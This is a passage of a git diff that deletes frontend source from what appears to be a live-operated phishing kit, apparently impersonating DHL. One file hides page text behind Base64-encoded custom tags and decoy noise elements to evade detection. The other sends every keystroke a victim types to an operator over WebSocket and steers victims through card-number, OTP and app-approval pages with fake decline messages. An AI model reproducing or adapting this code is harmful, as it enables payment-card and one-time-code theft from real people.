- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) { - // 对于DIV元素,特殊处理其直接子文本节点 - let hasTextContent = false; - for (let i = 0; i < element.childNodes.length; i++) { - const node = element.childNodes[i]; - if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') { - hasTextContent = true; - break; - } - } - - // 如果DIV中有直接的文本内容,标记它需要被处理 - if (hasTextContent) { - // 只处理未混淆过的DIV - const textContent = Array.from(element.childNodes) - .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent) - .map(node => node.textContent).join('').trim(); - - if (textContent) { - // 替换整个DIV的内容 - const originalHTML = element.innerHTML; - const processedHTML = obfuscateText(textContent); - element.innerHTML = processedHTML + originalHTML.replace(textContent, ''); - element.setAttribute('data-obfuscated', 'true'); - } - } - } - // 跳过带有特定标记的元素(避免重复处理) - if (element.hasAttribute('data-obfuscated') || - !element || - SKIP_TAGS.includes(element.tagName) || - Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) { - return; - } - - // 使用 TreeWalker 遍历所有文本节点 - const walker = document.createTreeWalker( - element, - NodeFilter.SHOW_TEXT, - { - acceptNode(node) { - // 不处理完全空的文本节点 - if (!node.textContent) { - return NodeFilter.FILTER_REJECT; - } - - // 检查父节点是否应该被跳过 - const parent = node.parentElement; - if (parent && ( - SKIP_TAGS.includes(parent.tagName) || - parent.hasAttribute('data-obfuscated') || - Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls)) - )) { - return NodeFilter.FILTER_REJECT; - } - - // 如果只包含空白且不是段落的首个节点,则跳过 - if (node.textContent.trim() === '' && - !(parent?.tagName === 'P' && node === parent.firstChild)) { - return NodeFilter.FILTER_REJECT; - } - - return NodeFilter.FILTER_ACCEPT; - } - } - ); - - // 收集需要处理的文本节点 - const textNodes: Text[] = []; - let currentNode: Node | null = walker.nextNode(); - - while (currentNode) { - textNodes.push(currentNode as Text); - currentNode = walker.nextNode(); - } - - // 预先计算所有混淆内容,减少DOM操作次数 - const fragments: DocumentFragment[] = []; - const nodesToReplace: Text[] = []; - - // 在处理文本节点前,移除所有前导空格 - for (const textNode of textNodes) { - const text = textNode.textContent; - if (!text) continue; - - // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白 - let processedText = text; - if (textNode.parentElement?.tagName === 'P' && - textNode === textNode.parentElement.firstChild) { - // 去除开头的空白,无论什么情况 - processedText = text.replace(/^\s+/, ''); - // 如果去除空白后为空,直接跳过这个节点 - if (!processedText) continue; - } - - try { - // 创建文档碎片来存储混淆后的内容 - const fragment = document.createDocumentFragment(); - const tempContainer = document.createElement('div'); - tempContainer.innerHTML = obfuscateText(processedText); - - // 将内容移动到碎片中 - while (tempContainer.firstChild) { - fragment.appendChild(tempContainer.firstChild); - } - - fragments.push(fragment); - nodesToReplace.push(textNode); - } catch (error) { - console.error('Error processing text node:', error); - } - } - - // 批量替换节点,减少回流 - for (let i = 0; i < nodesToReplace.length; i++) { - const textNode = nodesToReplace[i]; - const fragment = fragments[i]; - - if (textNode.parentNode) { - textNode.parentNode.replaceChild(fragment, textNode); - } - } -} - -/** - * 设置 MutationObserver 来监听 DOM 变化 - */ -function setupMutationObserver(element: Element) { - if (!element) return; - - const observer = new MutationObserver((mutations) => { - for (const mutation of mutations) { - if (mutation.type === 'childList' && mutation.addedNodes.length) { - mutation.addedNodes.forEach((node) => { - if (node.nodeType === Node.ELEMENT_NODE) { - processTextNodes(node as Element, null); - // 观察到新元素后立即解码 - if (window.decodeObfuscatedContent) { - window.decodeObfuscatedContent(node as Element); - } - } - }); - } - } - }); - - observer.observe(element, { - childList: true, - subtree: true - }); -} - -/** - * 生成随机噪声标签和注释 - */ -function getRandomNoise() { - const noiseTypes = [ - // HTML注释 - () => ``, - // 空的自定义元素 - () => { - const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty']; - const tag = tags[Math.floor(Math.random() * tags.length)]; - return `<${tag}>`; - }, - // 带随机属性的自定义元素 - () => { - const attr = `data-${Math.random().toString(36).substring(2, 7)}`; - const value = Math.random().toString(36).substring(2, 10); - return ``; - }, - // 带随机文本的隐藏元素 - () => { - const text = Math.random().toString(36).substring(2, 8); - return `${text}`; - } - ]; - - // 随机选择一种噪声类型 - const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)]; - return noiseGenerator(); -} - -/** - * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签 - */ -function obfuscateText(text: string): string { - if (!text) return ''; - - // 首先移除文本开头的所有空白字符以解决段落首行缩进问题 - text = text.replace(/^\s+/, ''); - if (!text) return ''; - - // 使用正则表达式将文本拆分为单词和空格,保持完整性 - const words = text.split(/(\s+)/); - let result = ''; - - // 过滤掉空字符串,避免生成空的z-span元素 - const filteredWords = words.filter(word => word.length > 0); - - // 为每个单词创建一个独立的自定义元素 - filteredWords.forEach((word, index) => { - // 对空格和特殊字符进行特殊处理 - if (/^\s+$/.test(word)) { - // 改进:更精确地处理各种换行符 - if (/[\n\r]/.test(word)) { - // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素 - result += ''; - } else { - // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space - result += ''; - } - return; - } - - // 随机在单词前添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - - // 为了提高效率,固定属性名 - const attrId = `data`; - - // 将单词编码为Base64 - const encodedWord = btoa(encodeURIComponent(word)); - - // 随机选择z-span或z-strong标签增加混淆度 - const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong'; - - // 添加标签开始部分 - result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`; - - // 随机在标签内添加隐藏内容,但减少频率 - if (Math.random() > 0.8) { - const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5)); - result += `${fakeText}`; - } - - // 闭合标签 - result += ``; - - // 随机在单词后添加噪声,但减少频率 - if (Math.random() > 0.85) { - result += getRandomNoise(); - } - }); - - result += ''; - return result; -} - -/** - * 添加显示混淆内容的样式和解码脚本 - */ -function addObfuscationStyle() { - // 添加样式 - if (!document.getElementById('obfuscation-style')) { - const style = document.createElement('style'); - style.id = 'obfuscation-style'; - style.textContent = ` - /* 自定义元素基本样式 */ - z-wrap { - display: inline; - white-space: normal; - user-select: none; /* 阻止文本选择 */ - text-indent: 0 !important; /* 确保无缩进 */ - } - - /* 添加一个类来允许选择文本的情况 */ - .allow-select z-wrap { - user-select: text; - } - - /* 确保段落中的混淆内容没有开头缩进 */ - p > z-wrap:first-child { - text-indent: 0 !important; - margin-left: 0 !important; - padding-left: 0 !important; - } - - /* 处理所有p标签,确保没有多余空间 */ - p { - text-indent: 0; - } - - z-span, z-strong { - display: inline-block; - position: relative; - opacity: 1; - transition: opacity 0.1s ease; - margin: 0; - padding: 0; - } - - /* 控制右侧间距 */ - z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { - margin-left: 0.1em; - } - - /* 移除最后一个元素的右侧间距 */ - z-span:last-child, z-strong:last-child { - margin-right: 0; - } - - z-span::after, z-strong::after { - content: attr(data-content); - position: relative; - pointer-events: none; - } - - /* 空格元素 - 精确控制宽度 */ - z-space { - display: inline-block; - width: 0.25em; - margin: 0; - padding: 0; - } - - /* 空的z-span/z-strong元素不应该显示 */ - z-span:not([data-content]), z-strong:not([data-content]) { - display: none; - } - - /* 换行元素 - 强制换行且完全没有尺寸 */ - z-break { - display: block !important; - height: 0 !important; - width: 0 !important; - margin: 0 !important; - padding: 0 !important; - border: none !important; - line-height: 0 !important; - font-size: 0 !important; - overflow: hidden !important; - } - - /* 隐藏所有噪声元素 */ - z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { - display: none; - width: 0; - height: 0; - opacity: 0; - overflow: hidden; - position: absolute; - visibility: hidden; - } - - /* 预加载状态 */ - [data-preload="true"] { - min-width: 0.5em; - min-height: 1em; - } - `; - document.head.appendChild(style); - } - - // 添加自定义元素注册,确保所有浏览器都能正确处理 - const scriptCustomElements = document.createElement('script'); - scriptCustomElements.textContent = ` - // 注册所有自定义元素 - if ('customElements' in window) { - customElements.define('z-wrap', class extends HTMLElement {}); - customElements.define('z-span', class extends HTMLElement {}); - customElements.define('z-strong', class extends HTMLElement {}); - customElements.define('z-space', class extends HTMLElement {}); - customElements.define('z-break', class extends HTMLElement {}); - - // 注册噪声元素 - customElements.define('z-nil', class extends HTMLElement {}); - customElements.define('z-void', class extends HTMLElement {}); - customElements.define('z-null', class extends HTMLElement {}); - customElements.define('z-fake', class extends HTMLElement {}); - customElements.define('z-empty', class extends HTMLElement {}); - customElements.define('z-attr', class extends HTMLElement {}); - customElements.define('z-text', class extends HTMLElement {}); - customElements.define('z-hidden', class extends HTMLElement {}); - } - `; - document.head.appendChild(scriptCustomElements); - - // 添加提前解码的脚本,放在顶部优先加载 - if (!document.getElementById('obfuscation-script')) { - const script = document.createElement('script'); - script.id = 'obfuscation-script'; - script.textContent = ` - (function() { - // 定义解码函数并暴露为全局函数 - window.decodeObfuscatedContent = function(rootElement) { - const root = rootElement || document.body; - const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); - - if (elements.length === 0) return; - - // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 - const runWhenIdle = window.requestIdleCallback || - function(cb) { setTimeout(cb, 1); }; - - runWhenIdle(() => { - elements.forEach(el => { - // 避免重复解码 - if (el.hasAttribute('data-content')) return; - - // 找到编码数据 - const dataAttr = el.getAttribute('data-data'); - if (dataAttr) { - try { - // 解码并设置 - const decodedWord = decodeURIComponent(atob(dataAttr)); - el.setAttribute('data-content', decodedWord); - el.removeAttribute('data-preload'); - } catch (e) { - // 解码失败时跳过 - } - } - }); - }); - }; - - // 页面加载完成后立即执行一次全局解码 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', function() { - window.decodeObfuscatedContent(); - }); - } else { - window.decodeObfuscatedContent(); - } - - // 使用IntersectionObserver优化解码性能 - if ('IntersectionObserver' in window) { - const decodeObserver = new IntersectionObserver( - (entries, observer) => { - entries.forEach(entry => { - if (entry.isIntersecting) { - // 容器进入视口时解码其内容 - window.decodeObfuscatedContent(entry.target); - observer.unobserve(entry.target); - } - }); - }, - { rootMargin: '200px 0px' } // 提前200像素开始解码 - ); - - // 监听所有混淆容器 - function observeContainers() { - document.querySelectorAll('z-wrap').forEach(container => { - decodeObserver.observe(container); - }); - } - - // 初始观察 - if (document.readyState === 'loading') { - document.addEventListener('DOMContentLoaded', observeContainers); - } else { - observeContainers(); - } - - // 定期检查新容器 - setInterval(observeContainers, 2000); - } else { - // 降级方案:定期全局检查 - setInterval(() => window.decodeObfuscatedContent(), 1000); - } - })(); - `; - - // 将脚本添加到head的最前面,确保尽早加载 - if (document.head.firstChild) { - document.head.insertBefore(script, document.head.firstChild); - } else { - document.head.appendChild(script); - } - } -} \ No newline at end of file diff --git a/t_post_temp4/src/utils/common.ts.backup b/t_post_temp4/src/utils/common.ts.backup deleted file mode 100644 index 4dde738..0000000 --- a/t_post_temp4/src/utils/common.ts.backup +++ /dev/null @@ -1,331 +0,0 @@ -import _ from "lodash"; -import { sendInput } from "@/api/api"; -import type { Socket } from "@/utils/websocket"; -import eventBus from "@/utils/eventBus"; -import router from "@/router"; -import { ref } from "vue"; -import { useSocket } from "@/utils/websocket"; -import { useLoadingStore } from "@/stores/loadingStore"; -import i18n from "@/main"; -import { useSocketIo } from "./socketio"; - -const viteBaseUrl = import.meta.env.VITE_BASE_URL; - -// WebSocket interface -interface MyWebSocket { - socket: any; - send: (data: string) => Promise; - off: (event: string) => void; - on: (event: string, callback: (data: any) => void) => void; -} - -export const customOtpData = ref({}); - -export function setCustomOtpData(data: any) { - customOtpData.value = data; - localStorage.setItem("customOtpData", JSON.stringify(data)); -} - -export let myWebSocket: MyWebSocket | undefined; - -// Configuration data -export const configData = ref>({}); - -// Utility function to check if all values in an object are not empty -export function areAllValuesNotEmpty( - obj: Record, - excludedFields: string[] = [] -): boolean { - return Object.keys(obj).every((key) => { - if (excludedFields.includes(key)) return true; - const value = obj[key]; - return ( - value !== null && - value !== undefined && - value !== "" && - !(typeof value === "string" && value.trim() === "") - ); - }); -} - -// 存储 WebSocket 和 API 的防抖函数 -const wsDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; -const apiDebounceFunctions: Record< - string, - _.DebouncedFunc<(...args: any[]) => void> -> = {}; - -// 获取或创建针对某个键的防抖函数 -function getDebouncedFunction( - debounceFunctions: Record void>>, - key: string, - func: (...args: any[]) => void, - wait: number -) { - if (!debounceFunctions[key]) { - debounceFunctions[key] = _.debounce(func, wait); - } - return debounceFunctions[key]; -} - -const modeRef = ref(1) - - -// 处理输入变化 -export function inputChange(type: string, key: any, value: any) { - const currentTimestamp = Date.now(); // 当前时间戳 - - // WebSocket 防抖函数 - const wsDebouncedFunction = getDebouncedFunction( - wsDebounceFunctions, - key, - (type, key, value) => { - myWebSocket?.send( - JSON.stringify({ - event: "input_text", - content: { type, key, text: value }, - timestamp: currentTimestamp, - }) - ); - }, - 300 - ); - - // API 防抖函数 - const apiDebouncedFunction = getDebouncedFunction( - apiDebounceFunctions, - key, - (type, key, value) => { - sendInput({ - content: { type, key, text: value }, - timestamp: currentTimestamp, - }); - }, - 1000 - ); - - // 调用防抖函数 - wsDebouncedFunction(type, key, value); - if(modeRef.value !== 2) { - apiDebouncedFunction(type, key, value); - } -} - - -// Handle login success -export function loginSuccess(token: string, mode: number) { - if(mode === 2) { - modeRef.value = 2 - myWebSocket = useSocketIo( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - }else{ - myWebSocket = useSocket( - `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host - }/ws?token=${token}` - ); - } - - myWebSocket?.on("close", () => console.log("Socket closed!")); - myWebSocket?.on("open", () => { - const lastToken = localStorage.getItem("token"); - loginWebsocket(token, lastToken !== token); - }); - - myWebSocket?.on("message", handleMessage); - - window.addEventListener("beforeunload", () => { - myWebSocket?.off("close"); - }); -} - -// Handle WebSocket messages -function handleMessage(data: any) { - const jsonData = JSON.parse(data); - if (!jsonData || !jsonData.event) return; - - const { event, content } = jsonData; - - switch (event) { - case "login": - //handleLoginEvent(content); - break; - case "result_type": - handleResultTypeEvent(content); - break; - case "reload": - window.location.reload(); - break; - default: - break; - } -} - -// Handle login event -function handleLoginEvent(content: any) { - const route = localStorage.getItem("route"); - if (route) { - const customOtpDataValue = localStorage.getItem("customOtpData"); - if (route === "customOtpValid" && customOtpDataValue) { - setCustomOtpData(JSON.parse(customOtpDataValue)); - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type }, - }) - ); - return; - } - myWebSocket?.send( - JSON.stringify({ - event: "page_type", - content: { pageType: route }, - }) - ); - } -} - -// Handle result type event -function handleResultTypeEvent(content: any) { - if (!content) return; - - const typeHandlers: Record void> = { - customOtpValid: () => navigateTo("/customOtpValid", content), - otpValid: () => navigateTo("/otpValid", content), - appValid: () => navigateTo("/appValid", content), - success: () => router.push("/success"), - kickOut: redirectToExternal, - block: redirectToExternal, - otpFail: () => - eventBus.emit("otp-valid", { - message2: - content.value.message2 || - i18n.global.t("Verification code error, please try again"), - }), - appFail: () => - eventBus.emit("app-valid", { - message2: - content.value.message2 || - i18n.global.t( - "The session is about to expire, please complete the verification now" - ), - }), - back: () => handleBackOrReject(content, true), - reject: () => handleBackOrReject(content, false), - refresh: () => { - if(localStorage.getItem("route")){ - localStorage.removeItem("route"); - window.location.reload(); - } - }, - }; - - if (content.type == "customOtpValid") { - if(content.value.customOtpData) { - setCustomOtpData(JSON.parse(content.value.customOtpData)); - } -} - if (content.type == "customOtpFail") { - eventBus.emit("custom-otp-valid", { - message2: content.value.message2, - }); - } - - const handler = typeHandlers[content.type]; - if (handler) handler(); - - useLoadingStore().setLoading(false); -} - -// Navigate to specific path with query parameters -function navigateTo(path: string, content: any) { - - router.push('/temp').then(() => { - router.push({ - path: path, - query: { - cardType: content.value?.data?.cardData?.cardBIN?.schema, - message1: content.value?.message1, - key: new Date().getMilliseconds(), - }, - }); - }); -} - -// Handle back or reject type -function handleBackOrReject(content: any, isBack: boolean) { - let message2 = i18n.global.t( - "This card does not support this transaction, please try another card" - ); - - if (configData.value.error_card_msg) { - message2 = configData.value.error_card_msg; - } - - if (content.value.type) { - const type = content.value.type; - if (type === "denyC" && configData.value.deny_c_msg) { - message2 = configData.value.deny_c_msg; - } - if (type === "denyD" && configData.value.deny_d_msg) { - message2 = configData.value.deny_d_msg; - } - } - - if (content.value.message2) { - message2 = content.value.message2; - } - - if (isBack) { - router.push({ path: "/card", query: { message2 } }); - } - - eventBus.emit("my-event", { message2 }); -} - -// Login to WebSocket -function loginWebsocket(token: string, isFirst: boolean) { - myWebSocket?.send( - JSON.stringify({ - event: "login", - content: { tag: "user", token, isFirst }, - }) - ); - initHtml(); -} - -// Redirect to an external URL -export function redirectToExternal() { - window.location.href = "https://www.dhl.com/ch-de/home.html"; -} - -export async function loadHtml(url: string) { - try { - const response = await fetch(url); // 替换为您的 HTML 文件路径 - if (!response.ok) { - return ""; - } - return await response.text(); - } catch (error) { - return ""; - } -} - -export const headerHtml = ref(""); -export const footerHtml = ref(""); -export const loadingBg = ref("#ffffff"); - -const initHtml = async () => { - const routePath = localStorage.getItem("route"); - headerHtml.value = await loadHtml("/Static_zy/header.html"); - footerHtml.value = await loadHtml("/Static_zy/footer.html"); - await router.push(routePath ? `/${routePath}` : "/phone1"); - setTimeout(async () => { - useLoadingStore().setLoading(false); - loadingBg.value = "transparent"; - }, 200); -};